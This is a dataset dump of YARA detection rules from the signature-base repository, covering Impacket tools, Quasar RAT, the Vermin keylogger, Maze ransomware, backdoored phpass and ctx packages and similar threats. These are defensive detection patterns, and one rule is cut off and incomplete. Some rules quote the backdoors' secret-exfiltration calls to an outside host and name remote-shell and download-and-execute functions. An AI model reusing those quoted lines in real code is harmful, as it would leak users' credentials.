deardaniel/secdata-raw huggingface dataset:
YARA Detection Rule: Impacket_Tools_wmipersist
Repository: Neo23x0/signature-base
Detects: Compiled Impacket Tools
Author: Florian Roth (Nextron Systems)
Reference: https://github.com/maaaaz/impacket-examples-windows

Pattern signatures:
$s1 = "swmipersist" fullword ascii
      $s2 = "\\yzHPlU=QA" ascii

Detection condition:
( uint16(0) == 0x5a4d and filesize < 17000KB and all of them )

Full rule:
rule Impacket_Tools_wmipersist {
   meta:
      description = "Compiled Impacket Tools"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://github.com/maaaaz/impacket-examples-windows"
      date = "2017-04-07"
      hash1 = "2527fff1a3c780f6a757f13a8912278a417aea84295af1abfa4666572bbbf086"
      id = "29bda652-28f0-5ab6-9bc2-411f20ab0dda"
   strings:
      $s1 = "swmipersist" fullword ascii
      $s2 = "\\yzHPlU=QA" ascii
   condition:
      ( uint16(0) == 0x5a4d and filesize < 17000KB and all of them )
}
YARA Detection Rule: Impacket_Tools_lookupsid
Repository: Neo23x0/signature-base
Detects: Compiled Impacket Tools
Author: Florian Roth (Nextron Systems)
Reference: https://github.com/maaaaz/impacket-examples-windows

Pattern signatures:
$s1 = "slookupsid" fullword ascii
      $s2 = "impacket.dcerpc" fullword ascii

Detection condition:
( uint16(0) == 0x5a4d and filesize < 15000KB and all of them )

Full rule:
rule Impacket_Tools_lookupsid {
   meta:
      description = "Compiled Impacket Tools"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://github.com/maaaaz/impacket-examples-windows"
      date = "2017-04-07"
      hash1 = "47756725d7a752d3d3cfccfb02e7df4fa0769b72e008ae5c85c018be4cf35cc1"
      id = "27f13397-b044-54b4-b5e8-c5f7ed374f59"
   strings:
      $s1 = "slookupsid" fullword ascii
      $s2 = "impacket.dcerpc" fullword ascii
   condition:
      ( uint16(0) == 0x5a4d and filesize < 15000KB and all of them )
}
YARA Detection Rule: Impacket_Tools_wmiquery
Repository: Neo23x0/signature-base
Detects: Compiled Impacket Tools
Author: Florian Roth (Nextron Systems)
Reference: https://github.com/maaaaz/impacket-examples-windows

Pattern signatures:
$s1 = "swmiquery" fullword ascii
      $s2 = "\\yzHPlU=QA" ascii

Detection condition:
( uint16(0) == 0x5a4d and filesize < 17000KB and all of them )

Full rule:
rule Impacket_Tools_wmiquery {
   meta:
      description = "Compiled Impacket Tools"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://github.com/maaaaz/impacket-examples-windows"
      date = "2017-04-07"
      hash1 = "202a1d149be35d96e491b0b65516f631f3486215f78526160cf262d8ae179094"
      id = "e8bdf27a-9763-5947-854f-162f74ff53be"
   strings:
      $s1 = "swmiquery" fullword ascii
      $s2 = "\\yzHPlU=QA" ascii
   condition:
      ( uint16(0) == 0x5a4d and filesize < 17000KB and all of them )
}
YARA Detection Rule: Impacket_Tools_atexec
Repository: Neo23x0/signature-base
Detects: Compiled Impacket Tools
Author: Florian Roth (Nextron Systems)
Reference: https://github.com/maaaaz/impacket-examples-windows

Pattern signatures:
$s1 = "batexec.exe.manifest" fullword ascii
      $s2 = "satexec" fullword ascii
      $s3 = "impacket.dcerpc" fullword ascii
      $s4 = "# CSZq" fullword ascii

Detection condition:
( uint16(0) == 0x5a4d and filesize < 15000KB and 3 of them )

Full rule:
rule Impacket_Tools_atexec {
   meta:
      description = "Compiled Impacket Tools"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://github.com/maaaaz/impacket-examples-windows"
      date = "2017-04-07"
      hash1 = "337bd5858aba0380e16ee9a9d8f0b3f5bfc10056ced4e[PII_REDACTED]6689fbedc"
      id = "4f02e304-69d4-5952-80be-793379bccac0"
   strings:
      $s1 = "batexec.exe.manifest" fullword ascii
      $s2 = "satexec" fullword ascii
      $s3 = "impacket.dcerpc" fullword ascii
      $s4 = "# CSZq" fullword ascii
   condition:
      ( uint16(0) == 0x5a4d and filesize < 15000KB and 3 of them )
}
YARA Detection Rule: Impacket_Tools_psexec
Repository: Neo23x0/signature-base
Detects: Compiled Impacket Tools
Author: Florian Roth (Nextron Systems)
Reference: https://github.com/maaaaz/impacket-examples-windows

Pattern signatures:
$s1 = "impacket.examples.serviceinstall(" ascii
      $s2 = "spsexec" fullword ascii
      $s3 = "impacket.examples.remcomsvc(" ascii

Detection condition:
( uint16(0) == 0x5a4d and filesize < 17000KB and 2 of them )

Full rule:
rule Impacket_Tools_psexec {
   meta:
      description = "Compiled Impacket Tools"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://github.com/maaaaz/impacket-examples-windows"
      date = "2017-04-07"
      hash1 = "27bb10569a872367ba1cfca3cf1c9b428422c82af7ab4c2728f501406461c364"
      id = "5e8d0964-7e6a-5ff6-b9db-e37f997c3e05"
   strings:
      $s1 = "impacket.examples.serviceinstall(" ascii
      $s2 = "spsexec" fullword ascii
      $s3 = "impacket.examples.remcomsvc(" ascii
   condition:
      ( uint16(0) == 0x5a4d and filesize < 17000KB and 2 of them )
}
YARA Detection Rule: Impacket_Tools_Generic_1
Repository: Neo23x0/signature-base
Detects: Compiled Impacket Tools
Author: Florian Roth (Nextron Systems)
Reference: https://github.com/maaaaz/impacket-examples-windows

Pattern signatures:
$s1 = "bpywintypes27.dll" fullword ascii
      $s2 = "hZFtPC" fullword ascii
      $s3 = "impacket" ascii

Detection condition:
( uint16(0) == 0x5a4d and filesize < 21000KB and all of ($s*) ) or ( all of them )

Full rule:
rule Impacket_Tools_Generic_1 {
   meta:
      description = "Compiled Impacket Tools"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://github.com/maaaaz/impacket-examples-windows"
      date = "2017-04-07"
      super_rule = 1
      hash1 = "4f7fad0676d3c3d2d89e8d4e74b6ec40af731b1ddf5499a0b81fc3b1cd797ee3"
      hash2 = "d256d1e05695d62a86d9e76830fcbb856ba7bd578165a561edd43b9f7fdb18a3"
      hash3 = "2d8d500bcb3ffd22ddd8bd68b5b2ce935c958304f03729442a20a28b2c0328c1"
      hash4 = "ab909f8082c2d04f73d8be8f4c2640a[PII_REDACTED]dffdcc85e83a39d20c49ed6"
      hash5 = "e2205539f29972d4e2a83eabf92af18dd406c9be97f70661c336ddf5eb496742"
      hash6 = "27bb10569a872367ba1cfca3cf1c9b428422c82af7ab4c2728f501406461c364"
      hash7 = "dc85a3944fcb8cc0991be100859c4e1bf84062f7428c4dc27c71e08d88383c98"
      hash8 = "0f7f0d8afb230c31fe6cf349c4012b430fc3d[PII_REDACTED]f7e33ea15b2996e1b"
      hash9 = "21d85b36197db47b94b0f4995d07b040a0455ebbe6d413bc33d926ee4e0315d9"
      hash10 = "4c2921702d18e0874b[PII_REDACTED]4e54719ee6dfa39d323839d216952c5c834a"
      hash11 = "47afa5fd954190df825924c55112e65fd8ed0f7e1d6fd403ede[PII_REDACTED]d7d"
      hash12 = "7d715217e23a471d42d95c624179fe7de085af5670171d212b7b798ed9bf07c2"
      hash13 = "9706eb99e48e445ac4240b5acb2efd49468a800913e70e40b25c2bf80d6be35f"
      hash14 = "d2856e[PII_REDACTED]3e5b335cb46b713b1a6b2c414966a9de122ee7fb226aa7f7"
      hash15 = "8ab2b60aadf97e921e3a9df5cf1c135fbc851cb66d09b1043eaaa1dc01b9a699"
      hash16 = "efff15e1815fb3c156678417d6037ddf4b711a3122c9b5bc2ca8dc97165d3769"
      hash17 = "e300339058a885475f5952fb4e9faaa09bb6eac[PII_REDACTED]7b281c46b03108b"
      hash18 = "[PII_REDACTED]341fe7276c59d85f4aa[PII_REDACTED]ca9c98f8a9e7307c290bad4"
      hash19 = "2527fff1a3c780f6a757f13a8912278a417aea84295af1abfa4666572bbbf086"
      hash20 = "202a1d149be35d96e491b0b65516f631f3486215f78526160cf262d8ae179094"
      id
YARA Detection Rule: Impacket_Lateral_Movement
Repository: Neo23x0/signature-base
Detects: Detects Impacket Network Aktivity for Lateral Movement
Author: Markus Neis
Reference: https://github.com/CoreSecurity/impacket

Pattern signatures:
$s1 = "impacket.dcerpc.v5.transport(" ascii
      $s2 = "impacket.smbconnection(" ascii
      $s3 = "impacket.dcerpc.v5.ndr(" ascii
      $s4 = "impacket.spnego(" ascii
      $s5 = "impacket.smb(" ascii
      $s6 = "impacket.ntlm(" ascii
      $s7 = "impacket.nmb(" ascii

Detection condition:
uint16(0) == 0x5a4d and filesize < 14000KB and 2 of them

Full rule:
rule Impacket_Lateral_Movement {
   meta:
      description = "Detects Impacket Network Aktivity for Lateral Movement"
      author = "Markus Neis"
      reference = "https://github.com/CoreSecurity/impacket"
      date = "2018-03-22"
      score = 60
      id = "44db234c-ac81-5d21-bc2a-8cfd88807c0d"
   strings:
      $s1 = "impacket.dcerpc.v5.transport(" ascii
      $s2 = "impacket.smbconnection(" ascii
      $s3 = "impacket.dcerpc.v5.ndr(" ascii
      $s4 = "impacket.spnego(" ascii
      $s5 = "impacket.smb(" ascii
      $s6 = "impacket.ntlm(" ascii
      $s7 = "impacket.nmb(" ascii
   condition:
      uint16(0) == 0x5a4d and filesize < 14000KB and 2 of them
}
YARA Detection Rule: Quasar_RAT_Jan18_1
Repository: Neo23x0/signature-base
Detects: Detects Quasar RAT
Author: Florian Roth (Nextron Systems)
Reference: https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/

Pattern signatures:
$a1 = "ping -n 20 localhost > nul" fullword wide

      $s2 = "HandleDownloadAndExecuteCommand" fullword ascii
      $s3 = "DownloadAndExecute" fullword ascii
      $s4 = "UploadAndExecute" fullword ascii
      $s5 = "ShellCommandResponse" fullword ascii
      $s6 = "Select * From Win32_ComputerSystem" fullword wide
      $s7 = "Process could not be started!" fullword wide
      $s8 = ".Core.RemoteShell" ascii

Detection condition:
uint16(0) == 0x5a4d and filesize < 600KB and $a1 and 3 of them

Full rule:
rule Quasar_RAT_Jan18_1 {
   meta:
      description = "Detects Quasar RAT"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
      date = "2018-01-29"
      hash1 = "0157b43eb3c20928b77f8700ad8eb279a0aa348921df074cd22ebaff01edaae6"
      hash2 = "24956d8edcf2a1fd26805ec58cfd1ee7498e1a59af8cc2f4b832a7ab34948c18"
      id = "52408897-bfec-5726-9d01-6ff982d50c28"
   strings:
      $a1 = "ping -n 20 localhost > nul" fullword wide

      $s2 = "HandleDownloadAndExecuteCommand" fullword ascii
      $s3 = "DownloadAndExecute" fullword ascii
      $s4 = "UploadAndExecute" fullword ascii
      $s5 = "ShellCommandResponse" fullword ascii
      $s6 = "Select * From Win32_ComputerSystem" fullword wide
      $s7 = "Process could not be started!" fullword wide
      $s8 = ".Core.RemoteShell" ascii
   condition:
      uint16(0) == 0x5a4d and filesize < 600KB and $a1 and 3 of them
}
YARA Detection Rule: Vermin_Keylogger_Jan18_1
Repository: Neo23x0/signature-base
Detects: Detects Vermin Keylogger
Author: Florian Roth (Nextron Systems)
Reference: https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/

Pattern signatures:
$x1 = "_keyloggerTaskDescription" ascii
      $x2 = "_keyloggerTaskAuthor" ascii
      $x3 = "GetKeyloggerLogsResponse" fullword ascii
      $x4 = "GetKeyloggerLogs" fullword ascii
      $x5 = "ExecuteUninstallKeyLoggerTask" fullword ascii
      $x6 = "ExecuteInstallKeyLoggerTask" fullword ascii
      $x7 = ":\\Projects\\Vermin\\KeyboardHookLib\\" ascii
      $x8 = ":\\Projects\\Vermin\\CryptoLib\\" ascii

      $s1 = "<RunHidden>k__BackingField" fullword ascii
      $s2 = "set_SystemInfos" fullword ascii
      $s3 = "set_RunHidden" fullword ascii
      $s4 = "set_RemotePath" fullword ascii
      $s5 = "ExecuteShellCommandTask" fullword ascii
      $s6 = "Client.exe" fullword wide
      $s7 = "xClient.Core.ReverseProxy.Packets" fullword ascii

Detection condition:
uint16(0) == 0x5a4d and filesize < 800KB and (
        1 of ($x*) or
        3 of them
      )

Full rule:
rule Vermin_Keylogger_Jan18_1 {
   meta:
      description = "Detects Vermin Keylogger"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
      date = "2018-01-29"
      hash1 = "74ba162eef84bf13d1d79cb26192a4692c09fed57f321230ddb7668a88e3935d"
      hash2 = "e1d[PII_REDACTED]02d58a2fd00bc49d4aee5a472227a75f9366b46ce243e9cbef7"
      hash3 = "0157b43eb3c20928b77f8700ad8eb279a0aa348921df074cd22ebaff01edaae6"
      hash4 = "4c5e019e0e55a3fe378aa339d52c235c06ecc5053625a5d54d65c4ae38c6e3da"
      hash5 = "24956d8edcf2a1fd26805ec58cfd1ee7498e1a59af8cc2f4b832a7ab34948c18"
      hash6 = "2963c5eacaad13ace807edd634a4a5896cb5536f961f43afcf8c1f25c08a5eef"
      id = "52192ea1-bb3d-52da-ba18[PII_REDACTED]e2"
   strings:
      $x1 = "_keyloggerTaskDescription" ascii
      $x2 = "_keyloggerTaskAuthor" ascii
      $x3 = "GetKeyloggerLogsResponse" fullword ascii
      $x4 = "GetKeyloggerLogs" fullword ascii
      $x5 = "ExecuteUninstallKeyLoggerTask" fullword ascii
      $x6 = "ExecuteInstallKeyLoggerTask" fullword ascii
      $x7 = ":\\Projects\\Vermin\\KeyboardHookLib\\" ascii
      $x8 = ":\\Projects\\Vermin\\CryptoLib\\" ascii

      $s1 = "<RunHidden>k__BackingField" fullword ascii
      $s2 = "set_SystemInfos" fullword ascii
      $s3 = "set_RunHidden" fullword ascii
      $s4 = "set_RemotePath" fullword ascii
      $s5 = "ExecuteShellCommandTask" fullword ascii
      $s6 = "Client.exe" fullword wide
      $s7 = "xClient.Core.ReverseProxy.Packets" fullword ascii
   condition:
      uint16(0) == 0x5a4d and filesize < 800KB and (
        1 of ($x*) or
        3 of them
      )
}
YARA Detection Rule: EXT_APT_Bitter_Win32k_0day_Feb21
Repository: Neo23x0/signature-base
Detects: Detects code that exploits a Windows 0day exploited by Bitter APT group
Author: dbappsecurity_lieying_lab
Reference: https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/

Pattern signatures:
$s1 = "NtUserConsoleControl" ascii wide
      $s2 = "NtCallbackReturn" ascii wide
      $s3 = "CreateWindowEx" ascii wide
      $s4 = "SetWindowLong" ascii wide

      $a1 = {48 C1 E8 02 48 C1 E9 02 C7 04 8A}
      $a2 = {66 0F 1F 44 00 00 80 3C 01 E8 74 22 FF C2 48 FF C1}
      $a3 = {48 63 05 CC 69 05 00 8B 0D C2 69 05 00 48 C1 E0 20 48 03 C1}

Detection condition:
uint16(0) == 0x5a4d and all of ($s*) and 1 of ($a*)

Full rule:
rule EXT_APT_Bitter_Win32k_0day_Feb21 {
   meta:
      description = "Detects code that exploits a Windows 0day exploited by Bitter APT group"
      author = "dbappsecurity_lieying_lab"
      date = "2021-01-01"
      reference = "https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/"
      id = "b1892b52-4b94-5571-ad63-8750a321f1f2"
   strings:
      $s1 = "NtUserConsoleControl" ascii wide
      $s2 = "NtCallbackReturn" ascii wide
      $s3 = "CreateWindowEx" ascii wide
      $s4 = "SetWindowLong" ascii wide

      $a1 = {48 C1 E8 02 48 C1 E9 02 C7 04 8A}
      $a2 = {66 0F 1F 44 00 00 80 3C 01 E8 74 22 FF C2 48 FF C1}
      $a3 = {48 63 05 CC 69 05 00 8B 0D C2 69 05 00 48 C1 E0 20 48 03 C1}

   condition:
      uint16(0) == 0x5a4d and all of ($s*) and 1 of ($a*)
}
YARA Detection Rule: VULN_PHP_Hack_Backdoored_Phpass_May21
Repository: Neo23x0/signature-base
Detects: Detects backdoored PHP phpass version
Author: Christian Burkard
Reference: https://twitter.com/s0md3v/status/[PII_REDACTED]40808192

Pattern signatures:
$x1 = "file_get_contents(\"http://anti-theft-web.herokuapp.com/hacked/$access/$secret\")" ascii

Detection condition:
filesize < 30KB and $x1

Full rule:
rule VULN_PHP_Hack_Backdoored_Phpass_May21 {
   meta:
      description = "Detects backdoored PHP phpass version"
      author = "Christian Burkard"
      reference = "https://twitter.com/s0md3v/status/[PII_REDACTED]40808192"
      date = "2022-05-24"
      score = 75
      id = "da13924c-0448-589c-bb2a-ee09736a5602"
   strings:
      $x1 = "file_get_contents(\"http://anti-theft-web.herokuapp.com/hacked/$access/$secret\")" ascii
   condition:
      filesize < 30KB and $x1
}
YARA Detection Rule: VULN_Python_Hack_Backdoored_Ctx_May21
Repository: Neo23x0/signature-base
Detects: Detects backdoored python ctx version
Author: Christian Burkard
Reference: https://twitter.com/s0md3v/status/[PII_REDACTED]40808192

Pattern signatures:
$x1 = "requests.get(\"https://anti-theft-web.herokuapp.com/hacked/"

Detection condition:
filesize < 10KB and $x1

Full rule:
rule VULN_Python_Hack_Backdoored_Ctx_May21 {
   meta:
      description = "Detects backdoored python ctx version"
      author = "Christian Burkard"
      reference = "https://twitter.com/s0md3v/status/[PII_REDACTED]40808192"
      date = "2022-05-24"
      score = 75
      hash1 = "4fdfd4e647c106cef2a3b2503473f9b68259cae45f89e5b6c9272d04a1dfaeb0"
      hash2 = "b40297af54e3f99b02e105f013265fd8d0a1b1e1f7f0b05bcb5dbdc9125b3bb5"
      hash3 = "b7644fa1e[PII_REDACTED]ce050c98aa2407c093473031ab5f7a8ce35c0d2fc077e"
      id = "55c1326a-6a5f-5d6f-b798-2c8516faffe2"
   strings:
      $x1 = "requests.get(\"https://anti-theft-web.herokuapp.com/hacked/"
   condition:
      filesize < 10KB and $x1
}
YARA Detection Rule: VULN_Dell_BIOS_Update_Driver_DBUtil_May21
Repository: Neo23x0/signature-base
Detects: Detects vulnerable DELL BIOS update driver that allows privilege escalation as reported in CVE-2021-21551 - DBUtil_2_3.Sys - note: it's usual location is in the C:\\Windows\\Temp folder
Author: Florian Roth (Nextron Systems)
Reference: https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/

Pattern signatures:
$s1 = "\\DBUtilDrv2" ascii
      $s2 = "DBUtil_2_3.Sys" ascii fullword
      $s3 = "[ Dell BIOS Utility Driver - " ascii fullword

Detection condition:
uint16(0) == 0x5a4d and filesize < 50KB and all of them

Full rule:
rule VULN_Dell_BIOS_Update_Driver_DBUtil_May21 {
   meta:
      description = "Detects vulnerable DELL BIOS update driver that allows privilege escalation as reported in CVE-2021-21551 - DBUtil_2_3.Sys - note: it's usual location is in the C:\\Windows\\Temp folder"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/"
      date = "2021-05-05"
      score = 60
      hash1 = "0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5"
      hash2 = "ddbf5ecca5c8086afde1fb4f551e9e6400e94f4428fe7fb5559da5cffa654cc1"
      id = "6d46866e-40fb-5fbf-b159-6bf688e638cb"
   strings:
      $s1 = "\\DBUtilDrv2" ascii
      $s2 = "DBUtil_2_3.Sys" ascii fullword
      $s3 = "[ Dell BIOS Utility Driver - " ascii fullword
   condition:
      uint16(0) == 0x5a4d and filesize < 50KB and all of them
}
YARA Detection Rule: crime_win32_ransom_maze_dll_1
Repository: Neo23x0/signature-base
Detects: Detects Maze ransomware payload dll unpacked
Author: @VK_Intel
Reference: https://twitter.com/VK_Intel/status/[PII_REDACTED]19726338

Pattern signatures:
$str1 = "Maze Ransomware" wide
      $str2 = "--logging" wide
      $str3 = "DECRYPT-FILES.txt" wide

      $tick_server_call = { ff ?? ?? 8b ?? ?? ?? ?? ?? ff d6 8b ?? 89 f9 50 ff ?? ?? ff d6 8d ?? ?? ?? 89 ?? ?? ?? 56 e8 ?? ?? ?? ?? 83 c4 04 b9 67 66 66 66 89 c5 f7 e9 89 d0 d1 fa c1 e8 1f 01 c2 8d ?? ?? 29 c5 56 e8 ?? ?? ?? ?? 83 c4 04 b9 56 55 55 55 89 c6 f7 e9 89 f9 89 d0 c1 e8 1f 01 d0 8d ?? ?? 29 c6 8b ?? 55 56 ff ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 89 ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 c5 50 ff d3 89 c6 ff ?? ?? ?? ff d3 8b ?? ?? ?? 01 f0 3d ff 03 00 00 0f ?? ?? ?? ?? ?? 55 ff ?? ?? ?? 68 a2 95 c3 00 53 ff ?? ?? ?? ?? ?? 83 c4 10 c6 ?? ?? ?? c6 ?? ?? ?? ?? }

Detection condition:
( uint16(0) == 0x5a4d and 3 of them ) or all of them

Full rule:
rule crime_win32_ransom_maze_dll_1 {
   meta:
      description = "Detects Maze ransomware payload dll unpacked"
      author = "@VK_Intel"
      reference = "https://twitter.com/VK_Intel/status/[PII_REDACTED]19726338"
      tlp = "white"
      date = "2020-04-18"
      id = "873aea2b-2dd4-5682-b979-35e73fbc189f"
   strings:
      $str1 = "Maze Ransomware" wide
      $str2 = "--logging" wide
      $str3 = "DECRYPT-FILES.txt" wide

      $tick_server_call = { ff ?? ?? 8b ?? ?? ?? ?? ?? ff d6 8b ?? 89 f9 50 ff ?? ?? ff d6 8d ?? ?? ?? 89 ?? ?? ?? 56 e8 ?? ?? ?? ?? 83 c4 04 b9 67 66 66 66 89 c5 f7 e9 89 d0 d1 fa c1 e8 1f 01 c2 8d ?? ?? 29 c5 56 e8 ?? ?? ?? ?? 83 c4 04 b9 56 55 55 55 89 c6 f7 e9 89 f9 89 d0 c1 e8 1f 01 d0 8d ?? ?? 29 c6 8b ?? 55 56 ff ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 89 ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 c5 50 ff d3 89 c6 ff ?? ?? ?? ff d3 8b ?? ?? ?? 01 f0 3d ff 03 00 00 0f ?? ?? ?? ?? ?? 55 ff ?? ?? ?? 68 a2 95 c3 00 53 ff ?? ?? ?? ?? ?? 83 c4 10 c6 ?? ?? ?? c6 ?? ?? ?? ?? }
   condition:
      ( uint16(0) == 0x5a4d and 3 of them ) or all of them
}
YARA Detection Rule: MAL_SUSP_Gamaredon_GetImportByHash
Repository: Neo23x0/signature-base
Detects: Detects Gamaredon APIHashing
Author: Frank Boldewin (@r3c0nst)
Reference: https://twitter.com/r3c0nst/status/[PII_REDACTED]31436546?s=20

Pattern signatures:
$ParseImgExportDir = { 8B 50 3C 03 D0 8B 52 78 03 D0 8B 4A 1C 03 C8 }
        $djb2Hashing = { 8B 75 08 BA 05 15 00 00 8B C2 C1 E2 05 03 D0 33 DB 8A 1E 03 D3 46 33 DB 8A 1E 85 DB 75 } /* https://theartincode.stanis.me/008-djb2/ */

Detection condition:
uint16(0) == 0x5a4d and all of them

Full rule:
rule MAL_SUSP_Gamaredon_GetImportByHash {
    meta:
        description = "Detects Gamaredon APIHashing"
        author = "Frank Boldewin (@r3c0nst)"
        date = "2021-05-12"
        reference  = "https://twitter.com/r3c0nst/status/[PII_REDACTED]31436546?s=20"
        hash1 = "2d03a301bae0e95a355acd464afc77fde88dd00232aad6c8580b365f97f67a79"
        hash2 = "43d6e56515cca476f7279c3f276bf848da4bc13fd15fad9663b9e044970253e8"
        hash3 = "5c09f6ebb7243994ddc466058d5dc9920a5fced5e843200b1f057bda087b8ba6"
        id = "8f28273e-e8ca-52cb-8dbc-a235598b1975"
    strings:
        $ParseImgExportDir = { 8B 50 3C 03 D0 8B 52 78 03 D0 8B 4A 1C 03 C8 }
        $djb2Hashing = { 8B 75 08 BA 05 15 00 00 8B C2 C1 E2 05 03 D0 33 DB 8A 1E 03 D3 46 33 DB 8A 1E 85 DB 75 } /* https://theartincode.stanis.me/008-djb2/ */
    condition:
        uint16(0) == 0x5a4d and all of them
}
YARA Detection Rule: Groups_cpassword
Repository: Neo23x0/signature-base
Detects: Groups XML contains cpassword value, which is decrypted password - key is in MSDN http://goo.gl/mHrC8P
Author: Florian Roth (Nextron Systems)
Reference: http://www.grouppolicy.biz/2013/11/why-passwords-in-group-policy-preference-are-very-bad/

Pattern signatures:
$s1 = / cpassword=\"[^\"]/ ascii
        $s2 = " changeLogon=" ascii
        $s3 = " description=" ascii
        $s4 = " acctDisabled=" ascii

Detection condition:
uint32be(0) == 0x3C3F786D  /* <?xm */
        and filesize < 1000KB
        and all of ($s*)

Full rule:
rule Groups_cpassword {
    meta:
        description = "Groups XML contains cpassword value, which is decrypted password - key is in MSDN http://goo.gl/mHrC8P"
        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
        reference = "http://www.grouppolicy.biz/2013/11/why-passwords-in-group-policy-preference-are-very-bad/"
        date = "2015-09-08"
        score = 50
        id = "37036df9-871f-5ecd-acac-6a064d298115"
    strings:
        $s1 = / cpassword=\"[^\"]/ ascii
        $s2 = " changeLogon=" ascii
        $s3 = " description=" ascii
        $s4 = " acctDisabled=" ascii
    condition:
        uint32be(0) == 0x3C3F786D  /* <?xm */
        and filesize < 1000KB
        and all of ($s*)  
}